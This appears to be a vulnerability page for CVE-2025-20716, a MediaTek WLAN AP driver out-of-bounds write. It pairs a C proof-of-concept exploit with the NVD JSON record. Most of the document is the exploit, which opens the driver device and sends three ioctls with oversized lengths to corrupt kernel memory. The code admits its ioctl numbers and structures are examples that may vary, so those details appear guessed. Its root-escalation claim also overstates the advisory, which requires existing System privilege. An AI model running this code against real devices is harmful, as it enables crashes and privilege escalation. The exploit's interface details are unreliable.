CVE-2025-20716

/* * CVE-2025-20716 - MediaTek WLAN AP Driver Out-of-Bounds Write PoC * Vulnerability: OOB Write in wlan AP driver due to incorrect bounds check * Impact: Local Privilege Escalation to System/Root * * This is a conceptual PoC demonstrating the exploitation approach. * The actual vulnerable function and offset vary by chipset and driver version. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/types.h> #include <errno.h> // MediaTek WLAN driver IOCTL definitions (example, may vary by version) #define MTK_WLAN_AP_IOC_MAGIC 'W' #define MTK_WLAN_AP_SET_CONFIG _IOW(MTK_WLAN_AP_IOC_MAGIC, 0x01, struct mtk_ap_config) #define MTK_WLAN_AP_SET_SSID _IOW(MTK_WLAN_AP_IOC_MAGIC, 0x02, struct mtk_ap_ssid) #define MTK_WLAN_AP_SET_CHANNEL _IOW(MTK_WLAN_AP_IOC_MAGIC, 0x03, struct mtk_ap_channel) #define MTK_AP_MAX_SSID_LEN 32 #define MTK_AP_MAX_CONFIG_SIZE 256 struct mtk_ap_ssid { unsigned int ssid_len; char ssid[MTK_AP_MAX_SSID_LEN]; }; struct mtk_ap_config { unsigned int config_len; char config_data[MTK_AP_MAX_CONFIG_SIZE]; }; struct mtk_ap_channel { unsigned int channel; unsigned int bandwidth; unsigned int center_freq; }; int main(int argc, char *argv[]) { int fd; int ret; printf("[*] CVE-2025-20716 PoC - MediaTek WLAN AP Driver OOB Write\n"); printf("[*] Attempting to trigger out-of-bounds write...\n"); // Open the MediaTek WLAN AP driver device fd = open("/dev/wmtWifi", O_RDWR); if (fd < 0) { fd = open("/dev/wlan_ap", O_RDWR); } if (fd < 0) { printf("[-] Failed to open WLAN AP driver device: %s\n", strerror(errno)); printf("[-] This PoC requires a device with vulnerable MediaTek WLAN AP driver\n"); return -1; } printf("[+] Opened WLAN AP driver device (fd=%d)\n", fd); // Trigger 1: OOB write via SSID length manipulation struct mtk_ap_ssid malicious_ssid; memset(&malicious_ssid, 0, sizeof(malicious_ssid)); // Set SSID length beyond the buffer boundary (OOB write trigger) malicious_ssid.ssid_len = 0xFFFF; memset(malicious_ssid.ssid, 'A', MTK_AP_MAX_SSID_LEN); printf("[*] Triggering OOB write via SSID configuration (len=0x%X)...\n", malicious_ssid.ssid_len); ret = ioctl(fd, MTK_WLAN_AP_SET_SSID, &malicious_ssid); printf("[*] ioctl returned: %d (errno=%d)\n", ret, errno); // Trigger 2: OOB write via config buffer overflow struct mtk_ap_config malicious_config; memset(&malicious_config, 0, sizeof(malicious_config)); // Set config length beyond allocated buffer (OOB write trigger) malicious_config.config_len = 0x10000; memset(malicious_config.config_data, 0x41, MTK_AP_MAX_CONFIG_SIZE); printf("[*] Triggering OOB write via config buffer (len=0x%X)...\n", malicious_config.config_len); ret = ioctl(fd, MTK_WLAN_AP_SET_CONFIG, &malicious_config); printf("[*] ioctl returned: %d (errno=%d)\n", ret, errno); // Trigger 3: OOB write via channel parameter manipulation struct mtk_ap_channel malicious_channel; malicious_channel.channel = 0xFFFFFFFF; malicious_channel.bandwidth = 0xFFFFFFFF; malicious_channel.center_freq = 0xFFFFFFFF; printf("[*] Triggering OOB write via channel parameters...\n"); ret = ioctl(fd, MTK_WLAN_AP_SET_CHANNEL, &malicious_channel); printf("[*] ioctl returned: %d (errno=%d)\n", ret, errno); close(fd); printf("[*] PoC execution completed.\n"); printf("[*] If the driver is vulnerable, check for kernel panic or privilege escalation.\n"); return 0; }

{"cve": {"id": "CVE-2025-20716", "sourceIdentifier": "[email protected]", "published": "2025-10-14T10:15:36.240", "lastModified": "2025-10-15T18:46:08.047", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: WCNCR00421149; Issue ID: MSV-3728."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mediatek:software_development_kit:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.6.7.2", "matchCriteriaId": "0DD86CC1-BD46-42D2-9112-190CCAC96B30"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7615:-:*:*:*:*:*:*:*", "matchCriteriaId": "05748BB1-0D48-4097-932E-E8E2E574FD8D"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7622:-:*:*:*:*:*:*:*", "matchCriteriaId": "55EB4B27-6264-45BE-9A22-BE8418BB0C06"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7663:-:*:*:*:*:*:*:*", "matchCriteriaId": "10C79211-F064-499D-914E-0BACD038FBF4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7915:-:*:*:*:*:*:*:*", "matchCriteriaId": "3AB22996-9C22-4B6C-9E94-E4C055D16335"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7916:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD5AA441-5381-4179-89EB-1642120F72B4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7981:-:*:*:*:*:*:*:*", "matchCriteriaId": "490CD97B-021F-4350-AEE7-A2FA866D5889"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7986:-:*:*:*:*:*:*:*", "matchCriteriaId": "40A9E917-4B34-403F-B512-09EEBEA46811"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:19.07.0:-:*:*:*:*:*:*", "matchCriteriaId": "4FA469E2-9E63-4C9A-8EBA-10C8C870063A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:*", "matchCriteriaId": "F0133207-2EED-4625-854F-8DB7770D5BF7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}]}]}], "references": [{"url": "https://corp.mediatek.com/product-security-bulletin/October-2025", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}